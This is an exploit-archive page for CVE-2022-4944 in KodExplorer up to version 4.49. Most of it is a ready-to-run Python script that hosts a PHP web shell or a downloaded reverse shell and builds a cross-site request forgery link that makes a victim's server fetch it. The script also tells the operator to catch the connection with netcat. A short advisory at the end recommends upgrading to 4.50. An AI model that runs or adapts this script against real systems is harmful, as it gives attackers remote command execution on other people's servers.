Headline
KODExplorer 4.49 Cross Site Request Forgery / Shell Upload
KODExplorer versions 4.49 and below suffer from cross site request forgery and remote shell upload vulnerabilities.
# Exploit Title: KodExplorer <= 4.49 - CSRF to Arbitrary File Upload# Date: 21/04/2023# Exploit Author: Mr Empy# Software Link: https://github.com/kalcaddle/KodExplorer# Version: <= 4.49# Tested on: Linux# References:# * https://vuldb.com/?id.227000# * https://www.cve.org/CVERecord?id=CVE-2022-4944# * https://github.com/MrEmpy/CVE-2022-4944import argparseimport http.serverimport socketserverimport osimport threadingimport requestsfrom time import sleepdef banner(): print(''' _ _____________ _____ _ ______ _____ _____| | / / _ | _ \ ___| | | | ___ \/ __ \| ___|| |/ /| | | | | | | |____ ___ __ | | ___ _ __ ___ _ __ | |_/ /| / \/||__| \| | | | | | | __\ \/ / '_ \| |/ _ \| '__/ _ \ '__| | / | | | __|| |\ \ \_/ / |/ /| |___> <| |_) | | (_) | | | __/ | | |\ \ | \__/\||___\_| \_/\___/|___/ \____/_/\_\ .__/|_|\___/|_| \___|_| \_| \_|\____/\____/ | | |_| [KODExplorer <= v4.49 Remote Code Executon] [Coded by MrEmpy]''')def httpd(): port = 8080 httpddir = os.path.join(os.path.dirname(__file__), 'http') os.chdir(httpddir) Handler = http.server.SimpleHTTPRequestHandler httpd = socketserver.TCPServer(('', port), Handler) print('[+] HTTP Server started') httpd.serve_forever()def webshell(url, lhost): payload = '<pre><?php system($_GET["cmd"])?></pre>' path = '/data/User/admin/home/' targetpath = input('[*] Target KODExplorer path (ex /var/www/html): ') wshell_f = open('http/shell.php', 'w') wshell_f.write(payload) wshell_f.close() print('[*] Opening HTTPd port') th = threading.Thread(target=httpd) th.start() print(f'[+] Send this URI to your target:{url}/index.php?explorer/serverDownload&type=download&savePath={targetpath}/data/User/admin/home/&url=http://{lhost}:8080/shell.php&uuid=&time=') print(f'[+] After the victim opens the URI, his shell will be hosted at{url}/data/User/admin/home/shell.php?cmd=whoami')def reverseshell(url, lhost): rvpayload = 'https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php' path = '/data/User/admin/home/' targetpath = input('[*] Target KODExplorer path (ex /var/www/html): ') lport = input('[*] Your local port: ') reqpayload = requests.get(rvpayload).text reqpayload = reqpayload.replace('127.0.0.1', lhost) reqpayload = reqpayload.replace('1234', lport) wshell_f = open('http/shell.php', 'w') wshell_f.write(reqpayload) wshell_f.close() print('[*] Opening HTTPd port') th = threading.Thread(target=httpd) th.start() print(f'[+] Send this URI to your target:{url}/index.php?explorer/serverDownload&type=download&savePath={targetpath}/data/User/admin/home/&url=http://{lhost}:8080/shell.php&uuid=&time=') input(f'[*] Run the command "nc -lnvp {lport}" to receive theconnection and press any key\n') while True: hitshell = requests.get(f'{url}/data/User/admin/home/shell.php') sleep(1) if not hitshell.status_code == 200: continue else: print('[+] Shell sent and executed!') breakdef main(url, lhost, mode): banner() if mode == 'webshell': webshell(url, lhost) elif mode == 'reverse': reverseshell(url, lhost) else: print('[-] There is no such mode. Use webshell or reverse')if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument('-u','--url', action='store', help='target url',dest='url', required=True) parser.add_argument('-lh','--local-host', action='store', help='localhost', dest='lhost', required=True) parser.add_argument('-m','--mode', action='store', help='mode(webshell, reverse)', dest='mode', required=True) arguments = parser.parse_args() main(arguments.url, arguments.lhost, arguments.mode)
Related news
CVE-2022-4944: Vulnerability: Cross-site Request Forgery (CSRF) to Remote Code Execution (RCE) · Issue #512 · kalcaddle/KodExplorer
A vulnerability, which was classified as problematic, has been found in kalcaddle KodExplorer up to 4.49. Affected by this issue is some unknown functionality. The manipulation leads to cross-site request forgery. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 4.50 is able to address this issue. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-227000.